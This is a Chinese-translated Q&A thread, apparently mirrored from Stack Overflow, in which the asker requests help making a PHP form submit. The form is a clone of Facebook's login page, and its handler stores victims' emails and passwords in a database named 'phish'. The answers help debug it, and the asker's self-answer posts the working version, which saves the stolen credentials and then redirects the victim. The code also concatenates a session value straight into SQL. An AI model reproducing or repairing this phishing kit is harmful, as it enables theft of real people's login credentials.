表单if(isset($ _ POST [' login']))在php中根本不工作

时间:2014-04-08 23:19:08

标签: php database forms isset

我的问题是我需要将数据提交到我的数据库。以下是我尝试过的代码。 实际问题是我想使用if(isset($ _ POST ['login']))但它在这种形式下不起作用吗?

高于我的HTML

<?php
       session_start();
        $_SESSION['ref']=$_GET['ref'];
         function login()
          {
            $host="127.0.0.1:8889";
            $user="root";
            $pw="root";
            $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
          }
        ?> 

我的表格可以在这里找到

<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0">        <tbody>
 <tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
 <label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
 <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix   uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3"  class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>

在我的表单下方,你会发现这个

<?php
 if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
    mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

 mysql_query($sql); 

 mysql_close($verbinding);
}
} 
?>

3 个答案:

答案 0 :(得分:0)

您需要在表单标记中添加method =“post”。

答案 1 :(得分:0)

Meh:)

你真的需要克服PHP中的函数语法。你需要使用&#34;功能&#34;在创建新函数之前使用前缀。

function login()
  {
    $host="127.0.0.1:8889";
    $user="root";
    $pw="root";
    $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
  }

顺便说一下,您不需要创建连接数据库的功能。您只需使用include("path/to/mysql_connection.php");功能即可。效率更高。


代码中的另一件事是表单发送的方法。您正在使用POST方法,因此您需要将method="post"添加到表单标记中。


我实际上明白了你的代码在做什么,但希望信息有所帮助。

祝你好运。

答案 2 :(得分:0)

我得到了答案我必须改变它

TO:

     <?php
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
      mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

  mysql_query($sql); 

  mysql_close($verbinding);
   ?>
    <script>
    alert("alert here");
   window.location.href="url-here";
   </script>
    <?php 
}
 ?>

我刚删除了if(isset($ _ POST [&#39; login&#39;]))并使用了一些额外的javascript来使其正常工作;)